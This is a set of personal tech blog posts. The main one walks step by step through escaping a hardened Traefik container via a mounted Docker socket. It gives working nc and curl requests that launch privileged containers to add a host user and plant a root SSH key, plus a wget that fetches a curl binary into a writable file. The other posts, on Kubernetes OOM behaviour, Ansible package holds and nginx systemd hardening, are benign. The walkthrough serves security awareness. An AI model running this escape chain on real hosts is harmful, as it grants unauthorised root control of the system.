Forem: David Gries

Opening Pandora's Container - Gaining Host Access (Part 2)

David Gries — Sat, 28 Sep 2024 16:43:37 +0000

In my previous post, I gave you a quick rundown on the Docker socket and its purpose. But have you ever wondered how an attacker could exploit this to seize control of your host system? In this post, we’ll explore the potential risks associated with a mounted Docker socket and how these vulnerabilities can be exploited.

`~ $ ./unveiling_the_threat`

I’ve chosen Traefik as our example, and for good reason - it’s often exposed to the public internet, making it a tempting target. In the world of software, vulnerabilities are everywhere, just waiting to be found. An attacker only needs one way in to run code inside the Traefik container.

While Traefik is generally recognized for its robust security features, it’s important to remember that no system is immune. Just last week, we saw the release of CVE-2024-45410, which highlighted a critical security flaw. This example serves as a stark reminder: any publicly accessible endpoint can harbor hidden dangers, and vigilance is key to securing your systems.

But let's get to the interesting part!

`~ $ ./status_quo`

In last week’s post, I outlined a basic setup based on Traefik's documentation. However, in a real-world scenario, administrators typically implement various hardening measures. Let’s begin with a more realistic and secure configuration for Traefik, as defined in the following Docker Compose file:

services:
  traefik:
    image: traefik:v3.1.4@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440
    container_name: traefik
    hostname: traefik
    restart: unless-stopped
    user: 10000:10000
    group_add:
      - '997'
    networks:
      - proxy
    ports:
      - target: 80
        published: 80
        protocol: tcp
        mode: host
      - target: 443
        published: 443
        protocol: tcp
        mode: host
      - target: 443
        published: 443
        protocol: udp
        mode: host
    security_opt:
      - no-new-privileges:true
    cap_drop:
      - ALL
    read_only: true
    volumes:
      - type: bind
        source: ./configs/traefik.yaml
        target: /etc/traefik/traefik.yaml
        read_only: true
      - type: bind
        source: ./configs/config.yaml
        target: /etc/traefik/config.yaml
        read_only: true
      - type: bind
        source: /var/run/docker.sock
        target: /var/run/docker.sock
        read_only: true
      - type: bind
        source: ./acme.json
        target: /etc/traefik/acme.json

networks:
  proxy:
    name: proxy
    external: true

As you can see, this setup does not run as root; instead, it operates as a user with limited permissions. The Docker group with ID 997 is added to allow Traefik to communicate with the socket:

david@debian:~$ ls -ln /var/run/docker.sock 
srw-rw---- 1 0 997 0 Sep 28 08:46 /var/run/docker.sock

The container uses a read-only root filesystem, and wherever feasible, files are mounted as read-only, including the Docker socket itself. The latest Traefik image and Docker version are utilized, all capabilities are dropped, and basic security_opt options are configured. So, on the surface, this setup appears quite secure, right?

Let’s take a deeper look inside the container!

`~ # ./compromised`

Once inside the Traefik container, we can gather some basic system information and available tools:

~ $ cat /etc/os-release 
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.20.3
PRETTY_NAME="Alpine Linux v3.20"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
~ $ ls /usr/bin/
[            chvt         dirname      free         ipcrm        md5sum       od           realpath     showkey      time         uniq         vlock
[[           cksum        dos2unix     fuser        ipcs         mesg         openvt       renice       shred        timeout      unix2dos     volname
awk          clear        du           getconf      killall      microcom     passwd       reset        shuf         top          unlink       wc
basename     cmp          eject        getent       last         mkfifo       paste        resize       sort         tr           unlzma       wget
bc           comm         env          groups       ldd          mkpasswd     pgrep        scanelf      split        traceroute   unlzop       which
beep         cpio         expand       hd           less         nc           pkill        seq          ssl_client   traceroute6  unshare      who
blkdiscard   crontab      expr         head         logger       nl           pmap         setkeycodes  strings      tree         unxz         whoami
bunzip2      cryptpw      factor       hexdump      lsof         nmeter       printf       setsid       sum          truncate     unzip        whois
bzcat        cut          fallocate    hostid       lsusb        nohup        pscan        sha1sum      tac          tty          uptime       xargs
bzip2        dc           find         iconv        lzcat        nproc        pstree       sha256sum    tail         ttysize      uudecode     xxd
c_rehash     deallocvt    flock        id           lzma         nsenter      pwdx         sha3sum      tee          udhcpc6      uuencode     xzcat
cal          diff         fold         install      lzopcat      nslookup     readlink     sha512sum    test         unexpand     vi           yes
~ $ ls -ln /var/run/docker.sock 
srw-rw----    1 0        997              0 Sep 28 13:46 /var/run/docker.sock
~ $ whoami
whoami: unknown uid 10000
~ $ groups
10000groups: unknown ID 10000
 997groups: unknown ID 997
~ $

As observed, we have a minimal Alpine image, limiting our immediate options. However, we do have access to the Docker socket as a member of group '997', which has read-write permissions to the socket file! Do you remember the read_only mount option? This only prevents us from deleting the socket file, not writing to it.

But how do we establish communication with the Docker API? One way would be to introduce additional tools onto the system. While we have limited utilities at our disposal, we can use the available wget - albeit this is busybox's version, which unfortunately doesn’t seem to allow communication with local socket files.

To complicate matters, the root filesystem is mounted as read-only, leaving us without a suitable target for downloading files, not even a temporary location like '/tmp'. However, there's a silver lining: Traefik requires access to the acme.json file for storing certificate information, and this file is writable! By leveraging this space, we can inject a curl binary into the container, enabling us to communicate with the Docker API:

~ $ wget https://github.com/moparisthebest/static-curl/releases/download/v8.7.1/curl-amd64 -O /etc/traefik/acme.json
Connecting to github.com (140.82.121.4:443)
Connecting to objects.githubusercontent.com (185.199.110.133:443)
saving to '/etc/traefik/acme.json'
acme.json            100% |**********************************************************************************************************************| 5310k  0:00:00 ETA
'/etc/traefik/acme.json' saved
~ $ chmod +x /etc/traefik/acme.json
~ $ alias curl='/etc/traefik/acme.json'
~ $ curl --silent --unix-socket /var/run/docker.sock "http://localhost/version"
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"27.3.1","Details":{"ApiVersion":"1.47","Arch":"amd64","BuildTime":"2024-09-20T11:41:11.000000000+00:00","Experimental":"false","GitCommit":"41ca978","GoVersion":"go1.22.7","KernelVersion":"6.1.0-25-amd64","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.7.22","Details":{"GitCommit":"7f7fdf5fed64eb6a7caf99b3e12efcf9d60e311c"}},{"Name":"runc","Version":"1.1.14","Details":{"GitCommit":"v1.1.14-0-g2c9f560"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"27.3.1","ApiVersion":"1.47","MinAPIVersion":"1.24","GitCommit":"41ca978","GoVersion":"go1.22.7","Os":"linux","Arch":"amd64","KernelVersion":"6.1.0-25-amd64","BuildTime":"2024-09-20T11:41:11.000000000+00:00"}

But to do this, the container would need access to github.com. So let's assume it can't access the internet at all. Is there still a way? Going back to the available tools, 'netcat' ('nc') has caught my eye. 'netcat' can be used to read and write data over network connections, which is exactly what we need to communicate with the docker API:

~ $ nc -v
BusyBox v1.36.1 (2024-06-10 07:11:47 UTC) multi-call binary.

Although the BusyBox version of netcat differs slightly from the commonly used OpenBSD version, it remains a viable option for our needs.

`full_control:x:1002:1002::/:/bin/sh`

So, what’s next? Access to the Docker socket effectively grants us full control over the underlying system. To illustrate this, we’ll create a user on the host system using just netcat from within the Traefik container:

~ $ echo -e "POST /containers/create HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: $(echo -n '{
>     \"Image\": \"traefik@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440\",
>     \"Cmd\": [\"sh\", \"-c\", \"nsenter --mount=/host/proc/1/ns/mnt -- /usr/sbin/useradd hacked\"],
>     \"HostConfig\": {
>       \"Privileged\": true,
>       \"NetworkMode\": \"host\",
>       \"Binds\": [\"/:/host\", \"/dev:/dev\"]
>     }
> }' | wc -c)\r\n\r\n{
>     \"Image\": \"traefik@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440\",
>     \"Cmd\": [\"sh\", \"-c\", \"nsenter --mount=/host/proc/1/ns/mnt -- /usr/sbin/useradd hacked\"],
>     \"HostConfig\": {
>       \"Privileged\": true,
>       \"NetworkMode\": \"host\",
>       \"Binds\": [\"/:/host\", \"/dev:/dev\"]
>     }
> }" | nc local:/var/run/docker.sock
HTTP/1.1 201 Created
Api-Version: 1.47
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/27.3.1 (linux)
Date: Sat, 28 Sep 2024 15:18:51 GMT
Content-Length: 88

{"Id":"0f9e8ac0c044a6e885dbb41dfeec772097ef223dc97664dcc777a5b4da581791","Warnings":[]}

To break down what is done here: First, the content length of the request is calculated. You could also manually do this in a prior step, but letting wc do the work is easier. Then we just print this request and pipe it into 'nc'.

We just use the same container image that Traefik uses as it's already on the system, so this would be possible in an air-gapped environment without downloading additional containers. The container will run in privileged mode and have the host's root filesystem mounted, as well as /dev. nsenter is used to enter the host's namespace and execute commands from there. That's why privileged is necessary here.

~ $ (echo -e "POST /containers/0f9e8ac0c044a6e885dbb41dfeec772097ef223dc97664dcc777a5b4da581791/start HTTP/1.1\r\nHost: localhost:2375\r\nContent-Type: application/js
on\r\nConnection: close\r\n\r\n{}"; sleep 1) | nc local:/var/run/docker.sock
HTTP/1.1 204 No Content
Api-Version: 1.47
Docker-Experimental: false
Ostype: linux
Server: Docker/27.3.1 (linux)
Date: Sat, 28 Sep 2024 15:19:24 GMT
Connection: close

The second requests just starts the container. sleep 1 is used to allow enough time for the request to complete. A simple user is created as proof that the access works:

The fully API reference is available in Docker's documentation, for a list of possible requests.

To demonstrate that our access is successful, let’s check the /etc/passwd file on the host:

david@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
hacked:x:1002:1002::/home/hacked:/bin/sh

As you can see, we’ve successfully created a new user named hacked. From this point, we can escalate our access further. For instance, we could add an SSH public key to allow SSH access as root:

~ $ curl -s -X POST --unix-socket /var/run/docker.sock \
>   -H "Content-Type: application/json" \
>   -d '{
>     "Image": "traefik@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440",
>     "Cmd": ["sh", "-c", "mkdir -p /host/root/.ssh; umask 0266; echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPdqdYmQgtmYArjAtFz00y69k1rUAeS6CvjAj2LWeOf6 >> /host/root/.
ssh/authorized_keys"],
>     "HostConfig": {
>       "Privileged": true,
>       "NetworkMode": "host",
>       "Binds": ["/:/host"]
>     }
>   }' \
>   http://localhost/containers/create
{"Id":"1309d783fc5b66125c61151aa6ef93d235d5e4e07b9bffaaf98389f2441c3d16","Warnings":[]}
~ $ curl -X POST -H "Content-Type: application/json" \
>   --unix-socket /var/run/docker.sock \
>   http://localhost/containers/1309d783fc5b66125c61151aa6ef93d235d5e4e07b9bffaaf98389f2441c3d16/start

And just like that, we’ve cracked the door wide open! You can now log in as root without needing a password:

❯ ssh root@192.168.122.155 -i ./traefik_key
Linux debian 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Sep 27 18:00:01 2024 from 192.168.122.1    
root@debian:~# ls -l ./.ssh/authorized_keys 
-r-------- 1 root root 162 Sep 28 10:22 ./.ssh/authorized_keys
root@debian:~# cat ./.ssh/authorized_keys 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPdqdYmQgtmYArjAtFz00y69k1rUAeS6CvjAj2LWeOf6
oot@debian:~# whoami
root

`hardening:x:100:107::/nonexistent:/usr/sbin/nologin`

This clearly illustrates that even with hardening measures in place, it’s all too easy to exploit a system when a container has access to a mounted Docker socket.

So, how can you truly secure our system? Stay tuned for my next post, where we’ll dive into the strategies you can implement to protect your systems from these potential pitfalls!

Opening Pandora's Container - How Exposing the Docker Socket Paves the Way to Host Control (Part 1)

David Gries — Sun, 22 Sep 2024 18:20:30 +0000

In this three-part series, we'll explore some significant risks when working with Docker. The first part focuses on the Docker socket's role, the second will illustrate a real-world scenario of how attackers can compromise the host system, and the final post will provide hardening measures to mitigate these risks.

Role of the Docker Socket

If you've ever used Docker, you're likely familiar with its command-line interface (CLI). In simple setups, the CLI acts as the primary tool for interacting with the local Docker daemon - creating, starting, and stopping containers, etc. In more complex configurations, the CLI can also execute commands against remote targets. But how does it communicate with the daemon?

Docker utilizes a REST API for this interaction. By default, this API is not exposed over a TCP socket as you might expect; instead, it uses a Unix Domain Socket. (For a deep dive into inter-process communication with domain sockets, stay tuned for a future post.)

Let's take a look at the socket file on a default Debian installation:

admin@proxy:~$ ls -la /var/run/docker.sock 
srw-rw---- 1 root docker 0 Sep 20 13:37 /var/run/docker.sock

As you can see, the file is writable by both the root user and docker group. This means that any member of that group has full access to this endpoint and can access the API.

For example, to get information about the installed engine without using the CLI you can query the socket using curl:

root@proxy:~# curl --silent --unix-socket /var/run/docker.sock "http://localhost/version" | python3 -m json.tool

{
    "Platform": {
        "Name": "Docker Engine - Community"
    },
    "Components": [
        {
            "Name": "Engine",
            "Version": "27.3.1",
            "Details": {
...

As the docker CLI is just a tool to interact with the backend, access to the socket provides the same level of (or even more) control over the system as using the CLI does.

Reasons for Exposing the Docker Socket

You may wonder why one would even want to expose the Docker socket when there are clearly risks involved. A popular usecase besides accessing remote Docker daemons (which you can actually expose over a TCP socket) are applications that either need control of the daemon to manage other containers, like for example Portainer, or tools that need information about containers for auto discovery purposes, like Traefik. The official Traefik documentation even includes a mounted docker socket in their deployment example:

services:
  reverse-proxy:
    image: traefik:v3.1
    command: --api.insecure=true --providers.docker
    ports:
      - "80:80"
      - "8080:8080"
    volumes:
      # Socket mounted into container running as 'root'
      - /var/run/docker.sock:/var/run/docker.sock

Wrapping Up

I've highlighted Traefik because it's a widely used reverse proxy that is frequently exposed directly to the public internet. This means that a vulnerability allowing remote code execution could grant attackers full access not only to the Traefik container, but also to the entire host system, if you don't take the necessary security measures.

In the upcoming parts, I'll provide a straightforward example demonstrating how an attacker can gain control of the Docker daemon and the host system from within a container. Additionally, I'll share strategies for hardening your systems to limit the impact of these kinds of threats. Stay tuned!

Escaping the OOM Killer

David Gries — Sun, 04 Feb 2024 20:11:27 +0000

Ever wondered why certain Pods face the Kubernetes OOM killer despite ample available resources? Or perhaps encountered applications attempting to exceed configured memory limits, seemingly functioning smoothly on a low-memory VM?

Resource Limits in Kubernetes

Containerizing applications has solidified its position as the go-to standard for modern infrastructure. Whether operating in a virtual environment or a bare-metal cluster, understanding the ins and outs of effective resource management is crucial.

In contrast to CPU limits, which cause a Pod's processes to wait if the CPU time slice limit is reached, reaching a memory limit can be destructive as it causes a process to be killed by the underlying system's out of memory (OOM) killer. This can be seen when a process exits with code 137 (SIGKILL). This means that the process isn't shut down gracefully, which already has to be considered during development.

Problem 1: Cgroup Awareness

Compared to containerless environments, Kubernetes' reliance on cgroups for constraining system resources reveals some subtle challenges that may not be immediately apparent.

Let's dive into the highlighted issue. Consider the following scenario executed within a Pod with a memory limit set to 4GiB:

...
resources:
  limits:
    cpu: "1"
    memory: 4Gi
  requests:
    cpu: 50m
    memory: 64Mi
...

When inspecting /proc/meminfo, the output reveals varying available resources:

bash-5.1$ cat /proc/meminfo
MemTotal:        8124016 kB
MemFree:          346844 kB
MemAvailable:    3358232 kB
Buffers:          999768 kB
Cached:          1690344 kB
...

This discrepancy arises because not all content in /proc is namespace-aware. The metrics shown are actually those of the Node the Pod is scheduled on. Tools like free for example, which pre-date cgroups, utilize this resource to collect memory metrics.

So, what's the solution? While there aren't direct replacements providing the same metric namespace-aware, there are methods to obtain similar metrics from within the container. A straightforward approach involves examining files under /sys/fs/cgroup/memory/. In the example above, this yields:

bash-5.1$ cat /sys/fs/cgroup/memory/memory.limit_in_bytes
4294967296

This value precisely matches the configured 4GiB limit. It's vital to consider that when developing applications meant to run in a containerized environment.

Problem 2: Page Cache

Yet another not obvious issue arises when dealing with Linux's page cache, as it contributes to the memory.available metric. This leads to cAdvisor including the page cache in the calculated used memory, creating unnecessary memory pressure on the Kubelet. This poses a challenge, given that the page cache should represent evictable memory: In scenarios where multiple applications heavily rely on cache, the Node experiences heightened memory pressure, leading to the eviction of Pods.

The issue can be easily mitigated by aligning memory limits with requests. This strategy guarantees sufficient memory availability for all Pods scheduled on the Node. However, it remains more of a workaround than a resolution, as the underlying problem persists — Kubelet does not evict caches; instead, it evicts the entire Pod.

Node-pressure eviction is especially bad because configurations like PodDisruptionBudget and terminationGracePeriodSeconds are not considered in this scenario!

Given the intricacies of this subject, the provided information just offers a high-level overview. For a more in-depth understanding, consider exploring the details presented in this GitHub issue. Notably, this specific comment contains a concise summary of the matter.

Problem 3: Invisible OOM Kills

By default, Kubernetes enforces process separation through namespaces. This ensures that the main process is assigned PID 1, a crucial identifier in the Linux process hierarchy. It's responsible for the lifecycle of all sub-processes and the only one considered in Kubernetes' monitoring by default. Let's examine this with a quick look at a system using ps:

root@ubuntu:/# ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   2796  1408 ?        S<s  18:25   0:00 sleep 604800
root          20  0.0  0.0   4636  3840 pts/0    S<s  19:12   0:00 bash
root          41  0.0  0.0   7068  3072 pts/0    R<+  19:13   0:00 ps -aux

In the output, PID 1 corresponds to the main process, showcasing the default isolation within namespaces.

The OOM Killer selects processes that will free up the maximum amount of memory, factoring in the oom_score of each process. Therefore the process killed isn't always the main process of a container! Despite the OOM Killer's actions, Kubernetes metrics only reflect the OOM kill when PID 1 is affected. This invisibility could cause a potential mismatch between the container's status and its actual state when not using other sufficient health checks.

This leads to leaving the process's lifecycle unmanaged by Kubernetes. While that may not pose significant issues if the main process functions as an init system, it becomes problematic when child processes are not handled correctly by the container's init process after termination, leaving the Pod appearing to run without any apparent issues.

Understanding these details in process isolation and OOM handling is crucial for a predictable and stable environment.

Conclusion

In summary, effective management of Kubernetes memory constraints requires some understanding of namespaces and related challenges. Discrepancies in cgroup awareness, issues with Linux's page cache metrics in cAdvisor, and the invisibility of certain OOM kills underscore the need for a nuanced approach.

Mastering these intricacies is important to maintain a reliable Kubernetes infrastructure, optimizing resource utilization for containerized applications and preventing unexpected disruptions.

Taking Down Production With Ansible and Aptitude

David Gries — Sun, 26 Nov 2023 19:49:02 +0000

The Importance of Consistent Base Systems

Few things are as anxiety-inducing as watching stable production servers become a chaotic mess after a simple update. Yet, this scenario is one that many sysadmins dread. If you're seeking ways to avoid such scenarios, especially while leveraging Ansible in combination with Debian-based systems, read on.

📦 Linux Package Management: A Double-Edged Sword

One of the greatest advantages of Linux systems is without a doubt its package management. Most "classic" distributions handle application- and operating system updates using the same package management system. This has many advantages, like applying the latest security patches for the OS and applications by just doing a single update transaction. But this of course has its drawbacks.

Just think about application updates: For example, databases like PostgreSQL are not always compatible across major releases. This is one of the reasons Long Term Support (LTS) distributions often stick to specific application versions and just provide bug- and security patches during their lifecycle.

🗄️ The Issue With Third Party Repositories

Third-Party packages (in the sense of not provided in the distribution's repository) are often used, be it to avoid unwanted changes by package maintainers, installing software versions provided by the application vendor or ones that are simply not available in the default repositories. However, these often follow distinct release cycles from the underlying distro, complicating system update processes.

This leads to the necessity to mitigate unwanted upgrades when updating the base OS. Different package managers handle this in various ways.

📌 Ansible and Pinning Debian Packages

Debian-based systems offer means to prevent package version upgrades. Apart from employing APT Pinning, sometimes simply adhering to a specific version suffices, accomplished by "holding" packages using apt-mark.

Now to the issue to why inconsistency in systems can make a difference here, using a real-world example (luckily not in production). The Ansible's ansible.builtin.apt module by default uses Aptitude, an alternative frontend to the apt or apt-get CLI. If not available, it falls back to using said programs. dpkg, which is also used as the backend for apt-mark, stores the state of every installed package in the package status database under /var/lib/dpkg/status. Unfortunately, this data is not taken into account by Aptitude. It uses an own database for its hold function.

What's the upshot? Let's say you update all machines using the Apt module for Ansible. The packages you want to handle separately (e.g. the "main" function of the server) are held by DPKG to avoid unwanted upgrades, so you're safe. There's one issue though: one of the systems has Aptitude installed without you knowing. So during the upgrade, Ansible detects Aptitude, adopts it as the default package management tool, and updates all packages, including those retained in DPKG's database. Not an ideal outcome, right?

🛡️ How to Safeguard Against This

Several approaches exist to tackle such scenarios, like containerizing applications, creating custom repos, or employing diverse methods to pin packages. However, if retaining existing infrastructure is the priority, ensuring Aptitude's presence on all systems or utilizing the force_apt_get flag in the Ansible module can avert inconsistencies between systems.

Moreover, it's important that you know your infrastructure and ensure that servers with similar functions or managed by one team are set up in a consistent manner.

❓ How do you handle similar scenarios? Feel free to share your thoughts or critique in the comments!

Building Secure Foundations: A Practical Guide to Minimizing Linux Services' Attack Surface

David Gries — Sat, 11 Nov 2023 22:47:03 +0000

Cybersecurity and its awareness have never been more crucial than they are today. Considering the increasing amount of attacks, it has become clear that protecting digital assets plays a significant role in software development and operations. What concrete steps can be taken to enhance the security of our services even further?

Starting at a Lower Level

While antivirus a well-executed read-only backup strategy are essential for identifying and reducing the impact of threats, it's important to establish a strong foundation of security from the outset. Rather than solely focusing on mitigating consequences after the fact, reducing the attack surface should be a primary goal.

This can be done by limiting access to the underlying system, like running as an arbitrary user and dropping unneeded privileges. In Kubernetes, this would for example typically mean using non-root base images in combination with securityContext definitions.

But in some cases, it's better or even required to deploy directly on virtual machines. So how can a similar strategy be applied there?

🔒 Hardening Nginx: Step by Step

Let's examine a real-world example using the Nginx service file provided by Ubuntu 20.04:

The Defaults

david@proxy:~$ systemctl cat nginx.service

# /lib/systemd/system/nginx.service
[Unit]
Description=A high performance web server and a reverse proxy server
Documentation=man:nginx(8)
After=network.target

[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t -q -g 'daemon on; master_process on;'
ExecStart=/usr/sbin/nginx -g 'daemon on; master_process on;'
ExecReload=/usr/sbin/nginx -g 'daemon on; master_process on;' -s reload
ExecStop=-/sbin/start-stop-daemon --quiet --stop --retry QUIT/5 --pidfile /run/nginx.pid
TimeoutStopSec=5
KillMode=mixed

[Install]
WantedBy=multi-user.target

By default, the service runs as the root user. Therefore, processes spawned by /usr/sbin/nginx have all privileges of the root user and group, which could allow malicious software to control every part of the system when there is an exploit for Nginx. While Nginx is also able to use arbitrary users by itself, the main process that's started by the service still has root privileges. In many cases, this is not required and can be avoided by using Systemd's already built-in capabilities.

Breaking it Down

The systemd-analyze cli tool can help to get an overview of potential issues of Systemd services:

systemd-analyze security                # provides a high-level overview including a
                                        # numeric "exposure" value of Systemd services

systemd-analyze security <service_name> # shows detailed security-related information
                                        # about a single service

The output for the nginx service looks like this:

david@proxy:~$ systemd-analyze security nginx.service --no-pager

Nginx Service Security Summary

  NAME                                                        DESCRIPTION                                                       EXPOSURE
✗ PrivateNetwork=                                             Service has access to the host's network                               0.5
✗ User=/DynamicUser=                                          Service runs as root user                                              0.4
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                     0.3
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                   0.3
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                               0.3
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                  0.3
✗ RestrictNamespaces=~CLONE_NEWUSER                           Service may create user namespaces                                     0.3
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                    0.3
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unres…      0.2
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                   0.2
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                           0.2
✗ CapabilityBoundingSet=~CAP_RAWIO                            Service has raw I/O access                                             0.2
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                        0.2
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                          0.2
✗ DeviceAllow=                                                Service has no device ACL                                              0.2
✗ IPAddressDeny=                                              Service does not define an IP address whitelist                        0.2
✓ KeyringMode=                                                Service doesn't share key material with other services
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                           0.2
✓ NotifyAccess=                                               Service child processes cannot alter service state
✗ PrivateDevices=                                             Service potentially has access to hardware devices                     0.2
✗ PrivateMounts=                                              Service may install system mounts                                      0.2
✗ PrivateTmp=                                                 Service has access to other software's temporary files                 0.2
✗ PrivateUsers=                                               Service has access to other users                                      0.2
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                0.2
✗ ProtectControlGroups=                                       Service may modify the control group file system                       0.2
✗ ProtectHome=                                                Service has full access to home directories                            0.2
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer           0.2
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                0.2
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                      0.2
✗ ProtectSystem=                                              Service has full access to the OS file hierarchy                       0.2
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                    0.2
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                     0.2
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                         0.2
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                   0.2
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                     0.1
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                   0.1
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                        0.1
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                             0.1
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                   0.1
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters               0.1
✗ RestrictNamespaces=~CLONE_NEWCGROUP                         Service may create cgroup namespaces                                   0.1
✗ RestrictNamespaces=~CLONE_NEWIPC                            Service may create IPC namespaces                                      0.1
✗ RestrictNamespaces=~CLONE_NEWNET                            Service may create network namespaces                                  0.1
✗ RestrictNamespaces=~CLONE_NEWNS                             Service may create file system namespaces                              0.1
✗ RestrictNamespaces=~CLONE_NEWPID                            Service may create process namespaces                                  0.1
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                0.1
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                   0.1
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                   0.1
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                   0.1
✗ RootDirectory=/RootImage=                                   Service runs within the host's root directory                          0.1
    SupplementaryGroups=                                        Service runs as root, option does not matter
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                           0.1
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                             0.1
✓ Delegate=                                                   Service does not maintain its own delegated control group subtree
✗ LockPersonality=                                            Service may change ABI personality                                     0.1
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                 0.1
    RemoveIPC=                                                  Service runs as root, option does not apply
✗ RestrictNamespaces=~CLONE_NEWUTS                            Service may create hostname namespaces                                 0.1
✗ UMask=                                                      Files created by service are world-readable by default                 0.1
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                       0.1
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                       0.1
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                             0.1
✗ ProtectHostname=                                            Service may change system host/domainname                              0.1
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                       0.1
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                         0.1
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                 0.1
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                            0.1
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                     0.1
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                     0.1

→ Overall exposure level for nginx.service: 9.6 UNSAFE 😨

A lot of those capabilities are not required to run a web server, so it's best to limit the service's privileges. As interfacing with the Linux kernel can be very complex and is prone to changes, Systemd services offer a way to define common configurations directly in the service files. Given the multitude of configuration parameters for Systemd services, this example will concentrate on values significantly affecting security. It will use a standard Kubernetes securityContext as a foundation.

The Principle of Least Privilege

Adopting the principle of least privilege is crucial. By restricting access and privileges to the bare essentials, the attack surface diminishes significantly. When using Kubernetes resources, you'd usually use a securityContext definition to limit capabilities of a Pod:

...
    securityContext:
    runAsNonRoot: true
    runAsUser: 1001
    runAsGroup: 2001
    allowPrivilegeEscalation: false
    privileged: false
    readOnlyRootFilesystem: true
    capabilities:
        drop:
        - all
...

In the above example, the process runs without root privileges on a read-only filesystem and all capabilities are dropped. A similar setup can be achieved using a Systemd service:

runAsNonRoot: true ➜ no equivalent, if possible DynamicUser can be used
runAsUser: 1001 ➜ User=<username>
runAsGroup: 2001 ➜ Group=<groupname>
allowPrivilegeEscalation: false ➜ NoNewPrivileges=true
privileged: false ➜ no equivalent, PrivateDevices=<...>, Protect<...>=<...> etc. can be used
readOnlyRootFilesystem: true ➜ ProtectSystem=strict / TemporaryFileSystem=/:ro (this also hides all files, needs Systemd >= 238)
